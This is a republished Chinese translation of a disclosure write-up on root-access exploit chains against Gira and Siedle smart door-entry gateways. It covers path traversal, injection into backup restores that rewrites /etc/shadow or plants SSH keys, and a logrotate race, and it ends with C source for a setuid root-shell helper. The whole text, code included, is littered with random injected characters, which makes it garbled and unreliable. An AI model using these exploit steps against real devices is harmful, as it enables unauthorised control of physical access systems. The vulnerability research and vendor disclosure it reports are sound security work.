对智能门禁系统的安全研究

云栖号资讯:【点击查看更多行业资讯】
在这里您可以找到不同行业的第一手的上云资讯,还在等什么,快来!

对智能门禁系统的安全研究

对于许多攻击类型,需要物理访问计算机,例如插入“ Rubber Ducky”或插入物理键盘记G $ ? M b T 7录程序。由于通常限制对服务器和计算机的访问,因此通常通过“当攻击者已经进入房间时,无论如何我们都会被攻击”的角度来处理这些威胁向量。但是,如果相反的话怎么办?如果服务器,计算机和软Q 9 D u件取决于物理安全性,但是物理安全z ~ - F s R Q ^ 6取决于计算机的安全性呢?对于所有不同类型的智能门锁,情况就是如此。我们研究了网关系统,这些系统增加了门铃解决方案,使用户t S y l x V { *可以通过网络(甚至Internet)对其进行控制。对于其中两个分别由Siedle和Gira制造的产品,我们找到了开源的固件文件并开始进行漏洞挖掘。

0x01 漏洞0 g ` r h描述

我们在HITBAMS20的会议上进行了分享,并且我们打算将硬件带到现场演示。i k [但是,由于Corona / COVID-1# Q o P % 4 `9 疫情会议被取消了,我们仍然在线上会议上进行了演示。

https://www.[ F ~ B 4 e _youtube-nocookie.com/- | o P - %embed| & ` w G/krFHJx08dMo?start=18140

此外,我们将在此博客文章中详细介绍漏洞利用链和技术细节。稍后,我们录制的演示和演讲将在此v k g !处提供。

我们能够在两个设备及其各自的管理Web GUI上获得root用户访问权限。这使我们能够将受害者锁定在外面,并获得我们希望连接到受感染设备的物理访问权限。有关我们的利用链的更详细的技术说明,可以在后续文章中找到。

MITER总共向我们分配了五个CVE编号:

CVE-2020-10794: Gira TKS-IP-Gateway 4.0.7.7容易受到未经身份验证的路径遍历的攻击,从而使攻击者可以下载应用程序数据库。可以将其与CVE-2020-1079[ u ] 1 a . V P5结合使用以进行远程root访问。

CC $ % / ; G iVE-2020-3 ] | ? 4 d 610795: Gira TKS-IP-Gateway 4.0.7.7易于通过Web前端的备份功能执行经过身份验证的远程代码执行。可以将其与CVE-2020-10794结合使用以进行远程root访问。

CVE-2020-9473:1.2.4之前的S.Siedle&Soehne SG 150-0智能网关具有无密码ftp ssh用户。通过使用漏洞利用链,T _ r D :可以访问网0 & ? = ) S q , f络的攻击者可以在网关上获得root访问权Q t J L 3 y限。

CVE-2020-9474+ o e ):1.2.4之前的S.Siedle&Soehne SG 150-0智能网关允许通过Web前端中的备份功能远程执行代码。通过使用漏洞利用链,可以访问网络的攻击者可以在网关U V S上获得root访问权限。

CVE-2020-9475:1} z G 2 g.2.4之前的S.Siedle&a 8 6 i g wSoehne SG 150-0智能网关允许通过logrotate中的竞争条件提升本地特权[ C A Q k 2 ~ r。通过使用漏洞利用链,可以访问网络的$ d 8 H攻击者可以在网关上获得r+ , R Q :oot访问权限。

我们联系了两家供应商,并告知他们我们的发现。到现在为止,我d 6 ^们发现的所有漏洞都不再对最新版本系统有效。Siedd d Y tle甚至为我们提供了预发布的测试固件映像,因此我s u !们可以检查所有漏洞是否在更新发布之前已修复。总体而言,我们对两家供应商的回应感到非常满意,因为这清楚地表明他们意识到了调查结果的重要性。两家供应商都立即按照自己的设置对其进行了验证,并; n X专业地解决了这些问题。

0x02 Gira漏洞利用链; + ! C 3 0 j @ )

对智能门禁系统的安全研究

Gira TKS-IP-N 3 E ! EGateway的主 c h N S Z / 1

CVE-2020-10794:Gira TKS-IP-网关4.0.7.7中未经身份验证的路径遍历

当我们开始研究Gi, P 5 Vra TKSL R z ^ $ u ] Q IP网关时,我们在Wek , r v g Z 6b界面中发现了路径遍历漏洞。使用此/app/db? S o/gira.db文件,我们* T ! L @ 1 P A下载了文件。在此文件中,管理+ l ! 9 Z z R ?员密码为md5-hash,如果密码不是特别强的话,哈希很容易被破解。此外,我们下载了相同的/app/sdintern/messages ~ 9文件。如果有人最近登录了该计@ ( z算机,该文件将以纯文本格式生成密码。使用获得的凭& p ; 0 - / A据,我们能够登录到Web前端并重新配置设备或打开与该设备连接的后门。

CVE-2020-10795:Gira TKS-IP-网关4.0.7.7中身份验证的f $ 9 Z 1 4 4远程代码执行

现在我们已经在Web界面上获得了管理员特权,我们备份了gira.db。该备份是TAR文件,我们可以对其进行解压缩和修改:

sqlite3* - s t ^ backup/gira-V0101.db "UPDATE networksettings SET Namy 3 O z u % ! 0 Ne = 'tks-ip-gw/g -f /app/sdintern/segheg -i /etc/shadow -e s/foo/bar'"

上面的代码将sed命令放入数据库中。在sedheg我们修改的tar文件将取代密码哈希rc $ s $ ? 4 4 K ]oot和D3.IPGWvG,如下所示:

#!/bin/sh
s/D3.IPGWvG!:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//D3.IPGWvG!:; 2 {$1$eV3NNo\/h$Z ( BbeH8VTIROWlVZKcrHvhu70/
s/root:$1$6cFFPSWX$Djqa ~ 7 m 4 ioQuoo3UcL j i q x { P 8 Al7MsMeBcg7\//root:$1$eV3NNo\/h$beH8VTIROWlVZKc( C 1 f i u TrHvhud . i ! H70/

两个用户要么都是root用户,要么可能已经成为sudo的root用户。准备: y i B { ] F x好之后,我们再次打包修改后的文件。然后,我们通过还原功能将备份上传到Web界面。这触发了我们伪造的] _ r W 4 0 W I新网络设置(标记为“ ==>”),该设置是从修改后的sqlite数据库读取的。

[...]
NETWORK=`& | 8 C/op_ b : A ? Kt/lin/bin/sqlite3 /var/db/gira.db "select Id, Name, Nameserver, Dhcp, Gateway, Ip, Netmask from networks] r ? n 7 k 7 +ettings;"`
[...]
==> HNAME=`echo $NETWORK | /usr/bin/awk  -H & j i ( F S yF"|" '{print $2}'`;
NS=`echo $NETWORK | /usr{ 7 b 6 ; _ @ J/bin/awk  -F"|" '{pri6 q V K 1nt $3}'`;
BOOT/ [ R R + . u |MODE=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $4}'`;
GW=`echo $NETWORr c e z & iK | /usr/bin/awk  -F"|" '{print $5}'`;
IPADDR=`echo $NETWORK | /usr/bin/awk -F"|" '{print $6}L @ B U ^'`;
NETMASKA ` l ? X Q -=`echo $NETWORK | /usr/bin/awk -Fi c I C SA q G S ! , ) O"|" * P ` *'{print $7}'`;

然后,在的sed命令中使用了“ $ HNAME”d 4 a变量/app/binE c , C v/network.sh。

echo "0" > /tmp/dhcp
e* K @ L # =cho "nam0 0 ] R ? | O F 9eserver 192.168.0.1" > /etc/resolv.conf
echo -en "HOSTNAMEK k r ( W: $HNAME"
echo -en ""
echo "$HNAME" > /etc/hostname
==> sed 'L i Q u 2 e a js/'@NAME@'/'$HNAME'/g' /usr/a _ a }local/etc/avah- _ s C R X oi/avahi-9 T ] - , =daemon.conf-tmpl > /usr/local% # = 7 z ! 5 [ 9/etc/avahi/avahi-daeS ) N H 1 2 M 0 !mon.co7 q k  = & Unf

这样,我们将root密码更改为我们已知的密码。最后一步是登录到机器,为此我们需要dropbear ssh软件包。它是备用的ssh服务器,但是设备上R . ; n u 1 ,5 I U K t l u x .在的版本太旧m ^ Z l . k j 1,无法与现代的openssh客户端兼容。使用dbclient -p

https://player.vimeo.cP M $ q d ~ ] b +om/video/410960486

0x03 Siedle漏洞利用链

对智能门禁系统的安全研究

S. Siedle&ShneSG 150-0智能网关

CVE-2020-9473:Q [ ! N t e u J1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中空无密码FTP用户

对于Siedl0 y u M _ Re SE Y W ~ AG-150,我们进入系统的入口是为fQ X I } Mtp用户设置密码。这是可能的,因为固件不包含该用户的任何密码。通过ssh设置密码后,我们ssh -v -N ftp@

我们在公共固件中的一些shell脚本和配置文件中8 k h S ! w q找到了该数据库的静态root_ 0 n # w R O密码“ siedX % ; Rle”。使用密码和转发的端口, { . C 7 H + ;,我们可以使用命令以管理特权访问数据库mysql -h 127.0.0.1 -u root -P 1337 -psiedle。

m _ u数据库具有不同的目的,一个目的是存储用于Web应用程序管理设备的凭据。通过对数据库具有root用户访问权限,我们可以为Web应用程序添加具有管理员特权的另一个用户。现在,我们可以控4 = c N - &制和重新配置连接到网关的每个设备,这使我们能够进行连接。

CVE-2020-9474:1.2.4之前的S.Siedle&Soehne Sp y * } ] O P cG_ R f K 150-0 Smart Gateway中的经过身份验证的远程代码执行

这将使我们获得Shell访问权限。从Web应用s - 3 [ a ) :程序,我们能够下载配置备份config.bak文件。这是一个squashfs,一旦解压缩,其中包含一个backu$ = ( vp.sql文件。我们生成了一个ssh密钥,并将以= m | % [ ~ l下四行添加到backup.sq# L v Y / U ol文件的顶部:

\! mkdir /var/lib/mysql/.ssh
\! echo  >> /var/lib/sq; z P Y  = P 8 *l/.ssh/authorized_keys
\! chmod 0700 /var/lib/mysql/.ssh
\! chmod 0600 /var/lib/mysql/.ssh/authorizez $ H + m 0d_keys

然后,我们重建了squashfs并将其作为备份上传到Web应用程序,该文件用于还原过程。等待几分钟的恢复过程完成后,我们便以SSH用户的私钥通过ssh访问了该设备,因为运行了受操纵文件中的所有命令,~/.ssh/authorized_keys并创建了mysql用户的文件。

CVE-2020-9475:版本1.2.4之前的S.Siedle&Soehne SB r P %G 150-0 Smart Gateway中的本地特权升级

为了提升特权,我们在logrotate脚本中使用了错误的+ * [ ) E F .配置。此外,我们编写了三个小程序,即bind,symlink和root。源代码将在本文的附录中。由于已经具有shell程序访问权限,因此我们对ARM程序进行了交叉编译,并将其复制到设备中。 我们想触发MySQL logrotate脚本的以下部分:

MYADMIN="/usr/bin/mysqladmin --user=root --password=$MYSQL_ROOT_PW" $MYADMIN ping &> /dev/null if [ $? -eq 0 ]; then
$MYADMIN flush-logs
else
# manually move it, to m: v : m [ v Simic above behavia m $ O . q B g ;our
mv -f /var/log/mysql/mysql.log /var/log/myo v  Qsql/mysql.log-old
# recreate mysql.log, else logrotate would miss it
touch /var/log/= c t M ) ; % ;mysql/myO q g ~ r O F Xsql.log
chown mysql.mysql /var/log/mysql/mysqlV ` t n } A.log
chmod 0664 /var/log/mysqm V x D $l/mysql.log
fi

要触发这部分代码,我们需要确保mys% o P S i c 2 Mqladw l y w h b q Fmin ping返回的状态码不是零。如果mys@ 5 c r & ; Kql服务器未运行,则只{ ` P有这种情况。更改凭据甚至删除整个数据库都无济于事,因为mysqladmin仍会返回零,我们需要数据库不可用。但是由于如果你关闭它,它只会重新启动,所以我们需要将其挂载出来。这是第一个利用程序进入的地方:bind。我们使用它来将自身绑定到mysql数据库正在使用的静态端口:

w= + Nhile true; do ./bind 63601; sleep 1; done

在第二个终G I f | e k端中,我们关闭数据库,然后在启动时尝试将自身绑定到其端口时将挂起。因为mysql会在关机和启动之间释放端口,所以我们可以在它们之间进行竞争并使用我们的程序阻止该端口。这种方式mysqladmin返回了一个,我们必须执行else条件。

然后,我们需要第二个程序:symlink。现在的目标是在其中创建一个/etc/logrotate.d/我们可以控制和写入的文件,因为logrotate将以root用户身份执行该目录中的所有脚本。为了达到目的执行logrotate脚本,用于清理MySQL的日志文件,并设法从/var/log/mysql/mysql.log创建符号链接到之间mv和touch的/etc/logrotate.d/ro- n v t s d . L )otme。Rootme当时不存在,但这并不重要。按照符号链接,logrotate /etc/logrotate.d/rootme以root身份创建文件,然后将chown其提供给mysql用户。为了阻止mysql写入我们准备的文件,我们删除了symlink并/var/log/mysql/mysql.logb 0 R y K E q为其创建了一个新文件。之后,我! Y ) G O们将/etc/logrotate.de/rootme用以下内容填充:

/var/loE w a pg/m3 , m - 5 -ysql/rootme.log {
delaycompress
nL N G 9osharedscripts
copy
firstaction
chown rz j L n . Coot:root /tmp/rooo Q L a kt
chmod +s /tmp/root
mv -f /var/log/mysql/rootmj Y  w [ ! R ce.log /var/log/mysql/rootme.log-old
touch /var/log/mysql/rootme.log
chown mysql.mysql /var/log/mysql$ s Y/roo} i H 0 E K D R ;tme.log
chmod 0664 /var/s n & a qlog/mysql/rootme.log0 , N C 1 ^ & :
fi
endscript
laB q f O * M Y Nstaction
mv -f /var/lY @ i . ~ % ~og/D E Jmysql/rootme.log-old /var/log/mysql/rootme.log.1
endscript
}

H 0 6 b } 9序/tmp/root是我们的第三个程序和suidrootshell。完成所有操作后,我们必须填充/var/log/mysql/rooj E - Qtme.lo4 ` k 6 E ! T M Egl V C D w o并再次触发logrotate。现在,我们的suid二进制文件具有roo/ 8 % d .t特权,可以通过以下方式使用:/tmp/root passwd root。现在,我们可以更改root用户的密码,从现在起就可以完全控制系统了。

https://player.vimeo.com/video/410961877

0x04 代码片段

bind.c

#include  #include  #include  #include  #include
#incluw 9 3 F 2de  #include
void error(const char *msg) {
perror(msg);
exit(1);
}
int ma; 5 v m rin(int argc, char **argv) {
int sockfd, newsockfd, portno, pid;9 b ` q
socklen_t clilen;
struct sockaddr_in serv_addr, cli_addr;
if (argc < 2) {
fprintf(stderr,"ERROR, no port provided\n");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR openp i g , X j J E ]ing socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(po= ` / q )rtno);
if (bind(sockfd, (2 e K vstruct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR on binding");
listenp L O  c h(sockfd,5);
accept(sockfd, (struct sockU O H ^addr *) &cli_addr, &clilen);
rt f ;eturn 0;
}

symlink.c

#include
int main(i~ } % /nt argc, char **argv) {
int ret;
char X 3 lr *watchPath = argv[1];
char *linkPath = argv[2];
while(1) {
ret = symlink(linkPath, watchPath);
if (ret == 0)
return 0;
}
return 0;
}

root.c

#include  #include  #includeO Q ! ; 3 y r  #inclu$ q O 4 - { * 9 Kde  #incb x / v : 2 i mluden l  : e z
ch` Y L Tar *join_command(charp 3  8 T **commands) {
char *res = (char *)malloc(strlen(commandE M V  # . Q + {s[0]));
st! 4 _ E ? )rncpy(res, cn . 9 A $ Y _ Jof C L j ` Q c 5 immands[0], strlen(commands[0]));
for (char **commz & sand = ++commands; *command != NULL; command++) {
res = (char *)realloc(res, strlen(res) + strlen(*command)0 1 t d l V C + 2);
strcat(res, ) G A r" ");
strcat(res, *command){ B R a;
}
return res;
}
int main(p R { 3 N A %intc y C q % w ] argc, char **argv) {
if (argc < 2) {
printf("usage: ./root ");
}
setuid(0);
setgid(0);
system(join_c4 & m 4 # qommand(++argv));
returF Q ( - p y % : Pn 0;
}

【云栖号在线课堂】每天都有产品技术专家分享!
课程地址:https://yqh.aliyun.com/zh7 tibo

立即加入社群,与专` U 9 n家面对面,及时z 9 L 2 r M了解课程最新动态!
【云栖号在线课堂K 7 m S 社群】https://c.tb.cn/F3.Z8gvnK

原文发布时间:2020-08-06
本文作者:h1apwn
本文来自:- E p h“嘶吼网”,了解相关信息可以关注“嘶吼网”